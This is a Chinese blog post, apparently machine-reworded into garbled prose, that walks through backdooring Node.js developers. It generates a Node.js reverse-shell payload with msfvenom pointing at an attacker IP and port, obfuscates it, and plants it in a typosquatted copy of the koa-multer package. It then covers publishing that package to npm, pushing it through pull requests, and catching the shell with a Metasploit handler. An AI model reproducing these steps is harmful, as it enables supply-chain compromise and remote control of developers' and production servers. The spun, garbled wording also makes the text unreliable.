我是这样黑进你Node

个人随笔 作者:

原标题:笔者是如此黑进你Node.js分娩服务器的

来源:HackingSexy

style="font-size: 16px;">

TL,DR:

那篇作品汇报了从三个黑客的角度,以渗透前端项目为指标,从变化 payload,混淆,掩盖 payload,揭橥 npm,社会工程学提 PENCORE,运营脚本,反向连接到攻击主机,最后主机得到服务器 shell 的传说。

正片:

前端程序员的口头禅是什么?npm install!

其一命令从 npm 饭店中下载一批从品种 package.json 中声称的凭借,下载完信任后,再下载信任中 package.json 注明的依赖,下载完信赖的借助后,再下载信任中 package.json 表明的注重性中的 package.json 注脚的依据,下载完信任后…………

然后下了一批你都不驾驭从哪儿来的 npm 包。

图片 1

图片 2

后面一个程序员的另贰个口头禅是怎么?npm run dev!

嗯!分界面显示 compile successful!很完美的二回编译!你认为是时候显得实在的技艺了!

那会儿,在网线的其他方面,叁个红客微微一笑:又有三个肉鸡上线了。

这中档都发生了何等?

生成 Payload

经历丰硕的观赏鱼类佬都知情,要钓鱼,是迟早要先做鱼钩的。红客也要钓鱼,鱼钩是啥?在黑客的世界里,有叁个鱼钩店,叫做 msfvenom,专治种种款(架卡塔 尔(阿拉伯语:قطر‎式(构卡塔尔国,各样型(语卡塔 尔(阿拉伯语:قطر‎号(言卡塔 尔(英语:State of Qatar)的鱼(机器卡塔 尔(阿拉伯语:قطر‎。msfvenom 是 metasploit 的一片段,集成在了 Kali 系统之中。在 Kali 的官方网站,有现有的杜撰机镜像,下载了就可以用。

在 Kali 的 Terminal 里输入:

msfvenom -l | grep node

能够列出全部扶助 Node.js 的 payload。这一定于到店里问:COO!作者要买鱼钩!要能钓 Node.js 的那种!首席实践官:好嘞!要哪款?

图片 3

图片 4

在这里处,大家挑选nodejs/shell_reverse_tcp,其实产业界最常用的 payload 是 meterpreter,不过这款鱼钩尚未上市:

怎么着生成大家的 payload 呢,输入:

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js

此间说一下安插的参数:

  • -p nodejs/shell_reverse_tcp 指的是咱们要用 nodejs/shell_reverse_tcp 这个 payload;
  • LHOST=192.168.199.165 指的是攻击主机的 IP 地址,由于这一次攻击是内网演示,所以用了内网 IP 。公网攻击的话,就要配个公网 IP;
  • LPORT=5432 攻击主机那边的监听端口,payload 运营后,被大张征讨方会尝试连接攻击主机的这几个端口;
  • -o index.js 意思是出口到 index.js 那一个文件中。

敲完指令之后,大家可以在当前目录获得三个名称叫index.js 的 payload,约等于我们刚买到的鱼钩。payload 相当小一点都不大,独有 803 字节。用

cat index.js

命令,可以见见 payload 长什么样。

图片 5

图片 6

那个时候警觉的前端就能跳出来怼作者:胸底,你那代码里又调用 cmd 又调用 /bin/sh,还把攻击 IP 和端口都展露出来了,白痴才会运营你的代码哦?

别急嘛,好戏才刚刚开头。

混淆

历史观的杀毒软件,是因此检验文件特定字符来鲜明病毒特征的,而经过修正特征码绕过杀毒软件的质量评定,大家称为免杀。

而 Java 的变化,差不离比海贼王里的路飞还要伸缩自如。

举个例证,风姿洒脱行轻易的代码:

alert(1)

用 jsfuck 能把它变得连母亲都认不出来:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

理之当然我们不要 jsfuck,因为混淆过后的代码太大了。

前面多个喜欢用 UglifyJS 来减弱代码,但在这里场景下,大概不是最优解。我们用 Java Obfuscator Tool。

复制 payload,打开 Obfuscate,大器晚成道菜就到位了。

图片 7

图片 8

当今儿中午就未有人类能读懂这段代码了,混淆职命令担负功。

隐藏 payload

npm 是共产主义的大粮食仓库,任何人都足以进献自身的代码到 npm 上去。不过什么让别人下载大家的代码呢?那是一门高深的学识。

健康的思绪是,做三个和常规 npm 包名字很像的包名,比如 koa-multer,能够做一个koa_multer,然后总有局地人会打错字,下载到包罗 payload 的包。那是一个可能率难题,下载 koa-multer 的总的数量越大,下载 koa_multer 的量也越大。

以 koa-multer 为例,大家先把代码 clone 下载下来。

git clone

把大家转换的 payload 复制到项目路径下,并在 index.js 中引进这几个文件。

把 package.json 和 README.md 里全部的 koa-multer 改成 koa_multer,并在 package.json 的 files 表明 payload 的文件名,大家就做好了三个包括 payload 的 npm 包。

获得这么些包,就足以揭穿到 npm 源了:

npm publish

为了演示,作者在本地搭了三个 npm 服务器。

图片 9

图片 10

能够观看那一个包和正确的 koa-multer 大致如出后生可畏辙。若是不追究源码,前端不会开采本人下载了二个错误的包。

图片 11

图片 12

接下去要做的事务是,等。就好像钓鱼同样,须求意志力。

那个时候警觉的前端技术员会跳出来怼小编:你那包后生可畏看就精晓是骗人的,作者明确不会蠢到安装这种包!

别急,还会有任何方法。

另一个思路是,做一个通用的 npm 包,例如能 log 出万紫千红颜色的包,然后去给别的的开源项目提 P中华V:

小编帮你修复了难点 XXX,还丰裕了彩色 logger 的效率!

大家是在给开源社区做进献啊!

本来,警觉的人会拒绝那一个P奥迪Q5。但那也没涉及,提的 P凯雷德 多了,总会有人上圈套的。

一个 npm 包被冒领不是主题素材,多个恶意的 POdyssey被不有名的项目 Approve 亦非主题素材。就好像七个恳求不可能叫攻击,然则几百万的央浼打过来的时候,你就驾驭DDOS 有多骇人听闻。

黑客完全能够把下载 npm 包,伪造代码并颁发这段逻辑自动化。之后,就不光是 koa_multer 的标题了,你须要幸免 koa-multe,multer-koa,koa-multer-middleware 等等各类奇奇怪怪的 npm 包,还要区分"_"和"-"的区分,当然,也不仅仅是 koa-multer 这些包,别的具有的包都能够上行下效。

就算再小心,再小心,总有您放在心上不到之处。就像是刀剑不入的阿喀琉斯,也有脚后跟中箭的一天。

除此以外,大非常多 npm 包都以层级注重关系,你能确定保障您的 package.json 中不可能申明有木马的包,然而你能保险您所看重的包,那些包的我,也和你同样警觉,不会忽视?

黑客准备

红客那边,须求粮草先行有备无患好 handler。

在 Kali 系统中,输入:

msfconsole

步入 metasploit 的调整台。然后输入:

use exploit/multi/handler

运用 handler 模块。并在 handler 模块中装置 payload ,攻击主机 IP,攻击主机端口,并运营监听:

set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run

如图,反向TCP监听已经成功运营:

图片 13

图片 14

肉鸡上线

此刻,小白鼠跑了 koa_multer 里的 demo 代码!

图片 15

图片 16

红客那边,立刻能获得这些 shell 的对话:

图片 17

图片 18

在那处,骇客获得了运行该 Node.js 程序的客商权限,能够实行此外该客户同意实践的通令。举个例子,骇客想看被大张征伐主机的操作系统,查看 CPU 型号………

sw_vers # 查看操作系统

sysctl -n machdep.cpu.brand_string # 查看操作系统

图片 19

图片 20

若果这一个顺序安排到了生育情状服务器,那么红客将能博得这一个服务器的shell权限。

下一步干嘛?内网渗透,脱裤,种马,导流……

获得 shell 真的能够放纵,唯有你意想不到,没有骇客做不到。

Done?

还未完呢,精粹还在末端。

npm 账号的弱口令难题

在 2017 年 7 月份,有人对 npm 的账号做了一遍弱口令检验,检查评定结果是:

有弱口令难点账号所公布的 npm 包,攻陷了整站的 14%

是因为 npm 包以互相信赖的花样存在,由那 14%包引发的平安主题材料,影响到别的的包,攻陷了整站的 54%

那就表示,你每 npm install 一次,就能够有三遍安装到不安全的包。那不是心惊胆跳。鼎鼎出名 koa.js,发表的密码是 "password";react、gulp等大牌项目也沦落弱口令深渊。上面列举部分别样受弱口令难题影响的 npm 包,相信总有您熟练的名字:

  1. debug
  2. qs
  3. yargs
  4. request
  5. chalk
  6. form-data
  7. cheerio
  8. gulp
  9. browserify
  10. bower
  11. mongoose
  12. electron
  13. normalize.css
  14. mysql

如此看来,npm 到以后都没发生过广泛的安全性难题,纯属是时局好……

所以,让大家恭祝 npm 恒久幸运✨吧。

Note:本文目的在于交换切磋,我未有渗透过别的系统。如基于本文思想举办渗透,读者须自行担任风险和权力和义务。小编不担负别的义务。

参照文书档案:

1.

2. )

主编: